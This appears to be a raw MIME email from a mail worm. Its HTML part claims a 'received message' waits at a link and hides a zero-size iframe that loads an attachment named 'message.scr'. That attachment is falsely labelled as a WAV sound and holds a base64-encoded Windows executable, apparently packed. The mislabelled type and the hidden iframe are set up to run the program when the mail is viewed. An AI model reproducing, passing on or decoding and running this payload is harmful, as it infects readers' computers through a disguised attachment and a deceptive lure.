Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

------=_NextPart_001_001C_01C0CA80.6B015D10
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>If the message will not displayed automatically,<br>
follow the link to read the delivered message.<br><br>
Received message is available at:<br>
<a href=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 width=3D0>www.lists.beepcore.org/inbox/beepwg/read.php?sessionid-24669</a>
<iframe
src=3Dcid:031401Mfdab4$3f3dL780$73387018@57W81fa70Re height=3D0 width=3D0></iframe> 
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_001_001C_01C0CA80.6B015D10--

------=_NextPart_000_001B_01C0CA80.6B015D10
Content-Type: audio/x-wav;
	name="message.scr"
Content-Transfer-Encoding: base64
Content-ID: <031401Mfdab4$3f3dL780$73387018@57W81fa70Re>

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAYAAAAA4fug4AtAnNIbgBTM0hV2luZG93cyBQcm9ncmFtDQokUEUAAEwBAwAAAAAA
AAAAAAAAAADgAA8BCwEAAAAEAAAAcgAAAAAAAAAgAQAAEAAAACAAAAAAQAAAEAAAAAIAAAQA
AAAAAAAABAAAAAAAAAAAMAEAAAQAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA
AAAAAAAAAAD0IAEAawAAAACwAABobQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdAAAAACgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAA
AADgAADAAAAAAHRhAAAAcAAAALAAAHRvAAAABAAAAAAAAAAAAAAAAAAA4AAAwAAAAABhAAAA
ABAAAAAgAQAAAgAAAAIAAAAAAAAAAAAAAAAAAOAAAMAFBAYEAQDOIUAAAgAAQAAAAG4AAAAM
AAAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAC70AFAAL8AEEAAviwcQQBT6AoAAAAC0nUFihZG
EtLD/LKApGoCW/8UJHP3M8n/FCRzGDPA/xQkcyGzAkGwEP8UJBLAc/l1P6rr3OhDAAAAK8t1
EOg4AAAA6yis0eh0QRPJ6xyRSMHgCKzoIgAAAD0AfQAAcwqA/AVzBoP4f3cCQUGVi8WzAVaL
9yvw86Re65YzyUH/VCQEE8n/VCQEcvTDX1sPtztPdAhPdBPB5wzrB4t7AleDwwRDQ+lR////
X7soIUEAR4s3r1f/E5UzwK51/f4PdO/+D3UGR/83r+sJ/g8PhKLw/v9XVf9TBAkGrXXbi+zD
HCEBAAAAAAAAAAAANCEBACghAQAAAAAAAAAAAAAAAAAAAAAAAAAAAEAhAQBOIQEAAAAAAEAh
AQBOIQEAAAAAAEtFUk5FTDMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwDr
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAEAAgAYAQCAKAAAgAMAAABAAACADgAAAGAAAIAAAAAAAAAAAAAAAAAAAAEA
ZQAAAHgAAIAAAAAAAAAAAAAAAAAAAAIAAQAAAJAAAIACAAAAqAAAgAAAAAAAAAAAAAAAAAEA
AAAmAQCAwAAAgAAAAAAAAAAAAAAAAAAAAQAHBAAA2AAAAAAAAAAAAAAAAAAAAAAAAQAHBAAA
6AAAAAAAAAAAAAAAAAAAAAAAAQAHBAAA+AAAAAAAAAAAAAAAAAAAAAAAAQAHBAAACAEAADCx
AAAAaAAAAAAAAAAAAABEGQEA6AIAAAAAAAAAAAAAMEAAACgBAAAAAAAAAAAAADAZAQAiAAAA
AAAAAAAAAAAGAEIASQBOAEEAUgBZAAEAMAAAAAAAAABrfWaFlBWtHdaU3cSJ5jkxSa21WPCT
lzJZK9HA/RaOTkibC/U7SahjXd4/321otIeaqs3c98FEgSkIG0C6ODBOmsur3t5wGFBqh50K
ds6TPEgjC6CdNZN7rjIV8vVYEeYEudN7R75kOiMW8iMOucg+gAgTXuypw1pQ+ca7eliihvH+
BKZOhikSH0oRAfDprm0Vh687q8QC/ZmshNoRyjjQjMemK1iKjEvkj8KBP4/d0gQrjoViQVpc
RCQCofUL//pjNEcThyvQrFIhYOB29tPY/yF8mWd97Pk/bNiiP2WUW+j2DTqnFxOp9dMi6sWw
nvjkyggxsi4BkiGP2II4tZ6x1rLKgUZ8XsW+9S/Ji25/hCze1WlfWwiU3UCXYzryPnJEh8or
O18rjsHmyS6iSx58HvJ7SFS2KoUB065NYMOkJXQG7YFuOKmLZz6kIEHBlhsaL6fX2L2O7wDx
9kimzvhSeVIJise//UQYlGGngOYO+cK8/R3Dtl1ZsiPgXbQvX4G3M5dPL2tRQT3SqssXE6+c
RPIrIgjovkwjDS+TuzwDO5ZxT9aMdcoLPL4mlf+QoY4aadfuOJzaTxc8hPOBOwwHftPYKcgl
kil/IX4MHqULV82GzO85GtjqghWLg/Nnom7XI9tQycfRI2zCWjldmhV9ZjpG/XWq4UW4lJ05
+Tfr9wlX/1F596yCbQlgIqSy6YqsI1pPUpQdCV0IQVk8whLKDtufVb7pUszp8jvR3JOuBudv
jIg6ebOdnVJErWJhPY+YbUwHwgDlTEjwkU7rh4l3fuCDsZSUzOn1l5dTlVyVr8ZAxcqsJY5H
8V0Ln7vLpmfbROjSSDuPdsue4VP7+0ERbOcAiSSgdYdO8VDOM1YrXWVhYvE9XCXLiDDLs36G
aT30K6RL0rnD08Z0CeM6ckHihP+aGF0/tXGVFf19BUQ3vMTUWRmeuKC0wa3d5LplEH2g5TdO
jyxo7lgVHrl3ftEVRqrJ+nDkM7GnZXXbmni/tiHc4py7ambMO/fWbb58X9DgdZr2MIalUuFk
eM/C83YVcKxDCMlC1pKlhc+jwYYKdvz8dBXG5h0f1XKPyRkeXyPzHQGdovzgyf6FrmJo5PmO
AQgAYBpMxKHsV2LQiUCfZxP2xWAs4K74rcAes5vdVqBXYeXeFADCX47amOz6o2FpOAE2W1A1
Zacc/sWcQrpGNGbPzJedST7hJMXZJVKNy7LLBP2V90UwX7IHSyhFxPPTlRpdlJtxYLAU3s+E
ekcFyTLIwRYHVjWm16JZXIxAhQROCT/c+L5SU8juIBBaGTg21xUr52qxnAfzmZdzLksQUE+0
vr6WcDtbfnRz4lhVzqCXLuEPlcGOB25srOGhtfZXA0llkT5irGdOIYJdpth4ywJlkp4tZzMw
gzWFTY/+U0A/e4Q30iVwhPG4rXCk+CakG0ZZe48xZDriMjSo+R7+LHYI6nu34GDLQyJD8Kfb
x4+7coaLSI86T8fhZbtiUi0l02A582HFQrAyBI3aPmQs/2UHgqm3oeH5Q2YHwraT+ZCHz+RL
6RkZkj6zuNhdMeK/YDD6hyzsbrnX/5b7Hu7U+hNtkbC8ptcin0sBLQk0qVQikf3q/5bji4Tz
lQqGIZLtkO+5LYjHMWvl2hbF9P3QgpUxFtq8jjTIi12BTMgh5i5hOdWcG3ed5DF0FXBK1S61
RT3MvlCrJKE5y0qBc4mJ0VQqx71MSz0sn07k1WWgdWMUVrF7ovQu4kr3YAVg8UW/x2G05+Gv
3cyVNf4xV7crfNOFQchKZvzrhyxUkbAqTGaC2X00bQJ3FjBQRNQugF+At7VbFaU161Bdnvlg
vLTjxi+ezY5yHpRYqekL64PDrTr5fZubHvR6xAvDgZuneevur7yBGJo/vjfkcUR0PNNuNKDp
6Zh8N0TG377/TLVcHKDbJQQrlmwhpiach74ku+gCLcNA77i89FZWxaEcIWph08a0v22+Fqp2
qrXUucvnS5nZvA1rqpv5a3XoFb1rgOr3DIORtoTqJcbyiZKumdQIDmMM5GSs5g2MIwpgme3L
tIaM1+V15RAnWaDzecNEPqSrsZw6ohhbhfyV91y5ZBw0j3qFISWnwYznONdhpxbs/NJzA+qB
EX4pe1/pVgPpRY4d31RmDvvlOZUU9K+fdCKEojnHNRljbLadBWUCwOseejT+Bf0x5RFcR35P
m6PC0e7ynrTH286difSlPdd9+YX3cb+fiD92mXig4oP0HLfaS3fru+QmsXdzwYvnJypM5tHZ
2ZRgXt4JZITF2WWePoPV/16NC9NoXws7GPbBemD8C712VZI0xQAiljWXv7Ol10ihGf1V6fsL
kPRUci/U8STqcx6QxiFqbwCRzb/IursoewRVuODgmw3YZt0MjCD5MmmRktfLBXbbmisE2eLD
3+rL9tm3uUqYi5eUbw3iF3vMJiQnrzikGyW7TCYwZRLnzoDox4P0QJ0x+n8JHKtaJDUyBPKr
TAshxak3Fs+N5xJyuuntAf5HSqqdozBrXQ8nchqJqX4W/aD4evqdKShlUiru4bjCz4YC0SSl
9cCqe26CwI6HbKUp+IQLvvqt0UIwhVoPYEqS3NW1PEkNZrrUibD/6k6RhODMFGu2G2/Kjchi
yd6OR30K2kWdAWHPacb6Z9ECZu6+f49dQbZy/xQzxe24vYNqEl0YJNcPKKDP8zEwWtBhM4wT
tK09miuWQN8IxzwCfuPjcUmVhDagqDbMTSRTyoNZfZNNvXTVfpNZ8Q0aIHu9pq0aOHsEictS
BOxvwb2dtCSuM5nZ1VbJecYGZ/+xmRHqxBkiAAh+5KSQ60wJUHde6fvJiR7zy5w7yJwKJhYu
dVG8/CGjpgSyoh6PHKu/AC7rJ1XCSezD+g9X2k5QLtVu5+lABP01ycF/l0m6wa2H4WalQa64
SMe0BNP/9JY1Kcs62+ypFqRcJ8GWXI1IQpW8y1sYQKa/2NR64WgyuwnNXP3MUEIsQZxUb905
dNfde9PKkU6numucTOW+NQFfzgAIYHQ+oVy2etASKXloFQZ4TdjB/cpUx1El9dyBbtV38Gz9
tJhQR8xVm/O+QkxIqcx53fM6QpMx/hTRWkOLpFZGV3XXOOBqX+6IyKO4wUB1YJpFbkJTHLXG
Pz80Dp4WOftnX/HBo7E0murP3q3C/zBe+Jpx9hJlLGq6VwLIxtAsI+mBX+Z/i5OHtdSgONw3
0zkG2zp3NdX2xjv0D7U9JyGeMWlH+izvMe3omgAoN/OIfjPyryrdKXAQsmBvWiDcpmPEIAF/
0s8tJpGuhzUEXdcTJHXFcEdF/VcAkJDGdD/w1KzCNjfyMsVnE4BeB+sZRopGQbfJgoDl2ob0
jGl66swu0NxnUnPeBzEjBCBGC4m57cwQT9s79ZAvq9Cgu0TLYebJPB1Txu8p+11KeIcFTyIY
Nr/LAKeoCIHyswIZyCCfUUyxzI8l5PjkP5Afnw+alU07Q2PC23s+rZiZMnzWSfHXYxcShwem
BbuxK/yZrgbggL+TGOrJFWaCBm+zOeQ27GeAWJZQn55nMNZMNUkh1WRvjgqvX0NrPiOIKVZB
JLiBbwT0mk+OGRAB1wCS3E8T+RzKF8A1nmGJcTzFHGmoRzoIv+1qcAKoUGq213VlcnsIaYXx
3MJcS6NbrSW+Sc3PBU4N60T8nWVQvcSP2o5OmS3ncVKwZCioOd/SIw/Vax2WEP4zu08hwgXN
Thwc4jSBNNL34YlO9VN65YDb42KMlvlBR4bxNMq6Sg40UqAxv6hBqCEze37ZJtCmgEZFn/Kz
25XelF2utCFnuxYmROjxG2BqjHCr0L2fFtL19Sy7IFjO30S/n5s5Oonwi1zD7iLs5mv3o6Gg
vWi8zLByzWoJ8u69pq94jtYmna501glSCAPXJG0SC/f2GceO2HkhJZNiRkI/1MBvWEpOUUHU
YZIejquPTaazbenBLNN8xT8tcbLgJPxxJ5jWtLJGz1wLN2NwJ880B4tLxY4RrtZWZPCWcyrO
o2SxuSrbQjTtSPkq7VQ6jv81/l7cktv8iUct+/ByoTFn5/R7LQcTCbT/AgE6oCH51PtX6okI
/9C9TXn6E5e65MB7/fnpYL9Fd2XUAQWCmgMZRa/xLK8vtApT4NWLNcGITKXc1FjBHB2aZb7z
MUkfW50WtSkxJg3yRxprQfhBATGikr5OLcC/KHsEysWRvudFQZjvCeeeo40kmcc+Ua3Mv4c7
Hgrc/XTxWr0hOYBXenUnf3LPPaxjBqkhAXXiIeEHsYnjKMvi2B/XfCADSwFXQz7oaYzt6y2o
yxWZ+65zWK9PHHF07RUjGwlA4yrpoJOdnaWZoIDRYG2WGNFzXLsPtwUsQEnKByMhhtmbVZZF
r+DPs54J55VvLMu6DNyqsJmew/lJBcf4c8O89zeA2x6su4UpvCdAT1ztm3zmLKsPA7EWWYEJ
591fFcx1XRdKtXqtONzuhHE3wMVDUUedY7C4XQE7Q1HagX8s+Xt5I5Es5lCYPl5XZVZ9vCgh
sT9IPKHhE7BG6oGN8/DWEleGKdZ/xLUibkknsEVTCesEUpUt0RyvGmu35/qA1Bkmg7lGD2eG
DjH7SoJtEe+U2JLhlP95zIJ9OseUmQ7kMS3Wm2o1DEhUDk7Ev8daaao8bELkuX99OOyKhcMU
iSspwceDX1hLC915PLln9sTHxIDkt0lW/H6/h7nzXZBnHbThrBDC9bUla3DMw7iYTKk6oZEB
s9lzc6Bkrq5IKMSmqlJS1sngljqPiUDjjFEdK3s+4eQIkytRasas5UiHr1y//H014OH48/n9
TJFmZcLCvCWGX0+/uWkxpfRRq6n7J63zNduK0XpLdr8JJD2925Z22M2eykhbwA+4hmRdiR/s
VqUUlYwnKU1UeUfjygSsjv1aX2Ln1NzSQJGCjcgH75a8td6MDLcumzxuKVrkYjidVtyO3I+V
MScQxRyVOy1UtMsf/2OTmNOgJtZ2o99k1YHe/u+TNXTdl1E0jmWhIBV8MX4pkc6Y2sV0FE8O
YP9qXzujRP4stfm9Pn8OUV9MhbN57H6GAVlF3XMyfBiPynr2lkTwVx4aKzcVwWmNUssS8sx0
w5QSdvhouslV1QHu1rDnOqbZrU+5rvCvfd3ZKXjlsiGO3g80C/qMKgLg8XwiMVpTaahvXotv
31cm0i1diE7pT7gpNXFX0W1yv1FI3eUAk0GgwMTJX/yNgJSjiOQRswfwJrB2a2mYI+BkOrVS
KJm9QHwmk58b7wgrtsfUkG+vS/c49FN15ijXki6tyv27E+b6rJHXlTgau3GsHBR/nZMJt+aJ
fAJNwdyw04wTNO0kEr5xmwuZkWhZYVoscdgVXka4UOTLKpti5BiMllZeBUCaYI2bP5OovGO9
HBTzoORe7TV/gWDQ2Us0TQI8A8+W+L5CAHeXohZwaTx57oQFynfNqApqYfDs3kMK1fh0kZC8
URFSYBdwqTcsGj0s5ELai+woBPrrOG3QqOn8J0cGLknr0hh2L5j1N5oSmXV/NZfuqJYVhEi4
Jz1DQYXMmfe7bE6+2SUg5kFe7ojzQqCRPUKPPlXfORtfTfrcR2OhAg+7RYoOqdN+tN4HWL/+
xe6fx/ZUaIMhcZAdhLhJjjW6oaS4UuPRDEY4Oum7rB7O/hZce9yoJTchPipMSkGK9gNz8T/E
TnQwMMVIOrpFUzgJ2dtumPb4GbcBnvnJb1XCuLuxvgIwIxVTHKArScj1NKEx+/0Csw1Cqw5h
+UEAMuUVRhbIlgZtZ++GCc8sYRQ1ccFOEzHTolRHze6spX4y0h6Mc4iiZBKW1wXGUPTfLsvR
Gi67lnbWS5j0O0tEbOXw1H+LVre3ejnVrwofIQcvDlh2RjaZTLFaFSZcJrUlMK+4Iu9J9O7w
3owhadJuz0chqdEw9gtQ5CLqO/yoKwC06S5X7lumr1Oj2nYygLfPeIeFvCt+qctncB8ukgcL
1YAxi8lhpkZZO9fIBGwqvffU6W5hk2e3aGzUViHQmAC7FbIU+qIUjiPdoTFGRJCZRrILvBoO
icJ8L9YcWsfZCw+/51O9q5XVurNYSY4vhXJHcjnErI/8EPt4n/UQVCj9xl6Br8o6KcuFYaaH
uFo5jLzlae6NsMvcrekMqNPf9riEo52QMaRsaV0bnUtpZJPMsSotaG3DEqaJGSoG0R/l87qY
x0yYH4WWQ3gUSdRCpph0xEXTCqs/DRiQn1xh/eUQhkUVYycHyldlcem4WxEfxcA+frclVbm1
K+Tb4FIoP6T4FVF+B7xNzEiasfet+hh+SvUerPTUuuaAKpnrZOlib5UPyCCbJCmXqLJufkxP
c5ul7ryekI+FoT1UIUr6ACXVg9Oa/HPgnm+hmD3+2lwU5Ewpp8sOxgBzyUdalBAGhyvlKY5u
R0tgLwQw+nOWWEOpVPTZZY0/yfa3eWWyuNhPj0Z5aUCpcGAEZE/7SY0hpvEskvjuhj78emET
LVXthgTkU7w8EYLSJ7eyn/2TZshS+Tw73lHcnGhVLW6tvyKax9p4wjxUXTzC1xXCkWKWQl7V
abXDpGNRnet+GUbrmn4HNsN1h+DYl4+BdA/Hvgen5frkY2VaTDTxGX8TXm2rC5quleqjlxe+
zyMhM6p7mzlINnVcPIbnSF/0p2EsVEI9F/Lt358LPn4YerN3kVN8MzuGX/zY1xK9cYN5GE1X
opnAAH0rChgzPgGgCRTCTYeyuMJKDB5mhQH13D5Qa2H0o3KPcgGbMnKQ13lZhW7GeRdO2Wbf
zm0VPbDp7mEVkZMwGnHqpOjkrsqtJINCxQq/50VPuivqTO8ixxVmxQ8iSNPrqvg+B0oAEvKG
oOif2Z2Me6fjgeMah1nS6Ha+ZmnCb/MnlY7B81gCqbrRoE15fTvfXHIPxPGCZvlPxiHiZnLq
UmCxLzev6uRtgBj4DEGAQGCo/07879Eiun2Rgrp2kqpaRyUXgIqrGd0fFJ34epTC5Ety4E9R
Ja3fDDxdGYq/Z+4jquaaETl5lPb1Ibdn4LDEjl+9CPHUEqOHk1aujzI2nLzSK/tM2CaKEUAZ
IpLiN7n4KKlnSXo5Cvle4a74NxpsJRmOyxJFCwftHHRljZQZw3PovwKLCouqg7LOWmFNgCbt
4U0BszTrXh0FJS1JPdX4Y6HMAxjCo8nnoDUx3r04VoF7Pse6GB5eAtjzuILxEJaH8BVhNCS2
iCZQoCU/+H1tjDOgZaEJTYy6ymf8efsXOY5xlASlyeocmWdH7fID5uf6e5hkHaI5nQkOygb2
dt75fYz+ath534sIBLaZ6Vo9QbuEtBViRwjoP8ILGwJkkGtEqUclTUulD+9+icvpyqZrZWrf
AcN9KQSD9UwQ9sQcFduvGwUxgUufso+0m2rhxH6LiLMe/vnmlsOIN33qTvbdQy9WIiF/nApR
rzpTmD/YZq7I13Fy8gl/NL5Ppwh7DGkE7ZIbir8F3FUnmCEq8h482ss+k0xIACOI8LwcXLIl
0qr8p+kXXDMlH/qdY5y3ZOjwNfHVoHJCGD0oUiXHEnNYwfCSQeWmw7HN23ea8fGNQRtvl9gq
mbi8SAaKlqzk8jwMSu+/XI7t5PqqKhY+jlalHuPF6H1QP8ZxJ99gK5kzmmk6poQoxMZPNtrs
7vxHmsxSChVPIo+RTNtlSKczusO61o83fAoxvq5yYIYLEkRo4vcyLvlm3eSL637N5UniH9Ko
amWiWFpE+Kb7Pg5tAtzhh0GF94+V6yl8zWYMkA2nSyImDdwZqrvsHoN8e/ddCkIQ1BhD7gWb
0k+ZFPItOkqLlgDezjb8tGHlEBiBeQa2sj8poDpeB3I6Cg06ahF9FikaHO2mqFOObv84I9sT
W6hkKmwpNwnJo5rde2dHtOC9P987DIaIcPlk3AsmrswtTDSfjmK+TtzKdwwHX26+wSjLe5cU
mcOTXBngvQMjN77RJogejdGVwDpIqSqucSW+zfdx9rM/ulwUfps6lU384zXZ8QNCdzf5tf3S
Kq0JF+7N/X5qVXjXlKGgiZFzTF2N5O/XfDI99TGsoKVdkwrZHHjyU3bK5PuYUf/2/bfT6lUz
kowjeoGCRTyQ/phWXpaUf+S9HBsXHOo51xvlLjqgQO8mg8aM/N/isOiTTBdiB3tjwrgQfShm
pZbvw7nkVS7JZV/l/SLORv0NF+w0RrOPx6PNQcKRBRkfmjahaM7ZyArmlMHjdIyEE3S2eeCP
CuiTatEipkgPKx19PNlp2HNT6jLu9H1mnfTsfDtJqMh/XR54mcx9BYe+6FCjhRd48sOanRSn
zSyIFdRzMp1H+5T961Vk19u/X7OXX/Cm+TKILej771U0r/RjGD4uHCKVESLkh7uqHv87cOLh
Inju8laO7luba0ZuCML9MI4XI8Aicw4rKFL2dCjaZ7r6YD0QyTXRs5/v4uqNh2Zfo0XQOCIE
RviFecxiiF3iLXtymnxOXhURwogHUyZHvf/v8RrqI2daRpeV4izGh+w/yMn97b4O408tFike
w+rmtP74nYAwFcQRZhqrfERYENf3RB1n38041JsCfuL1E2KDpU3HYposewlt5ZUs729/seXB
QsM4dUBcMtEsPcEfclUW4U8UbOCp8vhgvNnmR0WZAODVkg/bdIZSV5sMqi4iXohlbwnbvLws
/BHDAJljyYN8s/sRQ7JDSS/PRxnY2xP+M9DRDmpZ35gYm/m0Twot/0KuXqosC3/u166Tyq8q
A5KgF3OHSPi2INnmA824yrpoMyH2odUKvtZZI3sgV/RzNTUu+lPNO7LLSabbJKMVK0Afj0rZ
2GzZWKSNKBuZiztVppE1Tyl3yiFtpOUj6bA1nI5Wp9k1F13NO5GnJicT66yFsu76fOwUSO51
3fOwUzDt5U0vXPFOmJpxexC/eu/cgJrVwxD9aBhe8pvueGKZNSf5kL3UfCmFakiKGq6icHDy
hUpQ4Tzwi8dtZgGqycM0XcbY1JNUYSEaQh8dkPj2CeMcSOjMgDvgZn+QcLHPaOlr0HiCC97Q
4DjQ5bXvZUxtz5+23TAfRjtDqFjEjIW0gYBlh4rskQzh2VOEQhRjH3ICujrc55UDZCLGczo9
UxtnpujYS/YnQc+vJV1T0zBNTYQvKQG7Uod4Ejds+RDtIcfgFFsCiFNnYOHFr3bUt/f1OFIO
aa1D/kSCB9z1t/pVHZ81bfhmeXZqoGLIne0hOTkTSloA61JlpXMG8yq3Y44yBF9XVlC4RXgi
ZsXwKb7LEc3mKDlW8BKYfUPPzt0UCpJoxDauWdJWEsmCHUsci2K8rRv6w5FzE0WAXI53tbEC
Nv2jc36IjYVo9F4MEBVq22RFPeWUUePunNJinwBP0Fr8a2885UkpGkVQa8O+WB4pnwgN+mOE
+pXBLkGzN7kz2HXbYhm1naenGTxsjvGqtkKhDhwDh094NheoiB8haJmN7k4N6wXftoGqqCJD
Wkj6gMoflEKd+kuhChxvhCenad661sbdxgBWLxtWZdXxcCsw8R606xo7IQ+Lk55itOEwPEFz
LrNlY/lQVXkkAutVgOjQ/UuYSJ0s5oZrAmXXmKBfBsXoxXWxq1bsQWdrvdRSRmzFxuffkFir
N63ItRl7ZRedobNGhG8nZEq2MUHvr0pSQxp2Wil9P3VtLqxl5JNkfUB0FLZApYRXxAXUbhM7
EG7YZ6jRc2pNkyDUYy0CT1F4Dt3o5VJpZz8vrpwaHoCDqPhAjTJvYLdYLKGhVGH5joX2+A3u
rUAR7pkaX7Gl5sbG3f1/Z11eT9TfHHBiU9FLq1nKPgeP/5lGpBK0ulQNJWYreZq86KNSfiIu
j53OohaeJPV7yent5OqiO0Fjad5OAtZIuowQvVC7CDe1hzFdJmmcI1DbJGcb6eB+ADXZfu/3
sS48wc0pKR/IG3VzieNrZSrzb4oLJ2eq4JEpSmjnqRx7ASo01/vU+ue51NDOnN/4bpLzMkST
yGL7nAUMAlFHFsAUsBJPmS44BReBI4HnSmN6BVF2H0lvcZ7a3NrNwzrhd5oZ7aAbX/9fpZU8
2E5WdttJQGYeKJK1cdsucndKpxLcoX8Cfi5qsMH9adnJXjiWddkr1LHiYwZEtXckQauGPue4
fXZwb74HIa5g9FxDEipGCIkMirWCnjk40oJ87TbVw/3uTj20Ni0HllfrNo4S24QUHJTy7xGN
aE8Aa9CleeMgrwM99zcyR59+TjKrub1RkgegWnOb8Iv0RuuP0874CWIHXUGIpMfZ69yo+EtS
W6CPvtzEMg0DA9xZbG+AxWFF2iUjjf5GMDcP0WsRYjS05ICrUN/uz5CbuPpIZSqYAlxfViIz
kQwroojw6uLxJP9+fIPrPgsfiHtBk+DwFom/N9btYVso49NSU++U+gXDWIgfJ9oOArHrNARS
PjPNMMeOtER15qgV4jwsWOq31eHZvmA0koklzjuoGhCHod4wemTB4wzFKQpzqXp3VKR96Ssg
qRre2wuB3YnPCd0mxvApN7YTvbd16K/MJEe803nLEivqoFrfGcKRQ/D4zeDtSNDHZtG+LztV
K5z1v5QcI8EdpkC0PMCJUcT8f8PDneWBBxgTQLfXhjGoAcP+bM6BxQ7GPFKuKEUiRdZniufv
AoLZmdeYXQdmU2u7K7van3I5u1bTmT79KcwVCV4aMpWS70tGDMhLP3vJfVrz79okys1e681o
UIOnx/GuUcMm9hL27/9kHwj9c66KNfVt4KI58JDifLHwMuQqbKiuXMCvT2VkadqoefwzwdKv
yq9T218y9iW4wHrM0VClcP1dgz8D+xQhYouweUX1MOsLWU4fySYxPffN2hDwaCAB9ct7Scyc
xAvEy8BefEFPm9GhmofjbQzD8CFbmA9ffYNIxSTyVaqV9blmtzFwDie9oEngHFHbhvRQJ4Ce
CpoH7+3NQv7XGRunkE9aeooQRogdS3YRepB5Ylt2vHmKTl8E3e5GSe1GvHM/KiqRLPa9v+v9
RkuKrNt/WiDq9Yj+IEMJcB/1Sf0lPED1cG647FKUmb6SS4LAd5R7lJJ2RiY2j59eDWrl+6v1
4vjfNYWZ5mQgSz5RO3YnbLGxvqXejgxPVIjIFQWDTXzQqpC4e09lZUVGYid3LXWWmEsXlLHT
kmih4CyBtHImvdRWbLY6sql6Sf1jodqq7k3QS6Iv5MbL46CYBuQm00g5RKom5lP7XFE2Dt5a
E1QIbD7f2XQ7tD/xnXK0kGz7kM5TqLgMb487OWhfaJImYW5kYY5PG7V4mWkYbp+DCeaGDtUj
60xnQH/wiWeh90Kq8wRdwf1farLt8dmX6TChgZDevghoKFNmIJXlcxe+xFikGBNiabhq8mYm
cHn8K64K3PmYzJuGWIfkcutZLiEVMupGL1qeDznADTUdnP4tI17gVdmgR5oOUUc3invvUaKq
/tLKe6FhysYZanqAg00/7KnfDyNiGfCE4sJzUIsHQJ8+2X95+2i2GQ1R2vEq5ojImzfHikxd
lLSY9muJr+qYreW9raUsMs3sChSetgo8ey9gxLG91iX4J/ntBGZunE7f0IKKJjacaq3W94DM
EUpBzkRmnSbOx3eshdeJeGrHJffaa23QJ+JTIzrqFVWMoMFpJXErxc2TLI9WHo3FaKWz5Rxo
u9CGkNCn7QVU03UZt911JkgLQ909tockALv2/FfANGKe5kj80T+Z0WBT3Y8b3zEBI0+7U0Gf
PbowGWRES1vtMfTmyevQrpOnyB7rfQRBdp2nAl/vWzcP+kssKqj3jrWSXg28H7k1PWKPiAPf
TamZlaQ8SrWujL6UrLdWeQ2VL/5P13wk5viJzCP9xTIkf+Fir663h9HhBCwisy6bdqw7itp+
pnQoah/HDkolt3V0NZgC9DLCM3MU5+vl+yCXVnLE+zU2H5WXUFfamPT5GCKPC8pnKkTAf6eA
cOwJGnrwSlCcFaW6PziGzMbzbNHMScxJkdrjlAkL5a++HvnDmhMOWUs5akyqsb/H0TQS0VJd
7Sr3B5IuFokjhr3Mc/7b942ASUftXpWlPzEtmxw/8RUi1lGexoF4mp88eqIsz9rM9PJ/D2ft
XVHuJ3nqNYqCBy8EoRknk6O+deDSZPaU6mP5/U9gxqAgb8wvwaOjQoujWtKlGuzW5oPc1DKt
nW6hYgMgq95VoM6JaVWsc65P2AuzBJ9ZVKIloPWP+XkZM/CdnWkGJqoN5e9L0kTZ1dJR1uu+
xETKVPH6/apmsO5yvx8qsKEFN8/eyqrjA43OKDsdEHss4kNv7GJrxNHfNDITS/dQr6vjbtdj
5HFyBaeIcdHTz0M50or97Qq2fS8VC5I2RJLvv97PKSBYf3j/VPZjftfgORYxnszgrY2DyyA7
LDrQplL+glV53R9MUSaljabv0i7IUMRNI51ELb0dghpEgmSvn9/MJG9Sd5HinV72o7M8eLjV
sXZGCzn00UsYo0DDD/cTQuqVZcvOvun+Z2KE4ihcI2UCPI6r+fsMHD3qKGJQ8lTzdoV+Zwiz
kNlyWXYNMlbX+r81V/6fv3XvpOumnvg77bk4KrPFhN4gccYoP/lDuwxGK+C+gSsz8aOK32at
jXXuE1Z/5YWrVr0d1zOhCQwLcfGsryDoGiyJ/Mfbdp86FwnLv0KDnfO9J+vvG4mSpFzwxqLD
t6XY02CF6A0AfAHpE2HHcutsI53gREsxjZ4MBgkxE0s3gqTQ/AwMDxqJWj0+RMXMivAuUCy0
yi/2OkY/lCuLBUpWjIDaNmafhPplbDlD+MQafGIBYstUWeBsgrR+hwMvgqGzsT+aDeZICaVl
7WYS363z8ROKwMtn9gcLZcS1X2Y1ffUbYwSdhYjfkmyJY0O2o5IzGjSiGUTN9YjBWVaoNizQ
r2+i6t0UJQlMGgeEKqgNwzFNQmoq8g9bWTqJfutFZG2bBbBxMfn2IjpC49OVnfOVDxZSm1m4
WOLCrop8YCG0it2Ww5dfxCGB3EoR7zKlc0HpIKYu5O2lkBXes2S0YVsYEWhPqVl/I+PqY9Yi
ZhYBb+Iy3VdEoeBnglAYisNYhbmm0xqob07SczCveW4K7HG6/5XHi9e1sIuJBwD2N4EDJog/
tTnL5UwxFy6MDa/2pQsXYvkheHN2TvKhGlkn8TLO1l7emlPTwwssqyH6yMq+HKjzVRMUZpFG
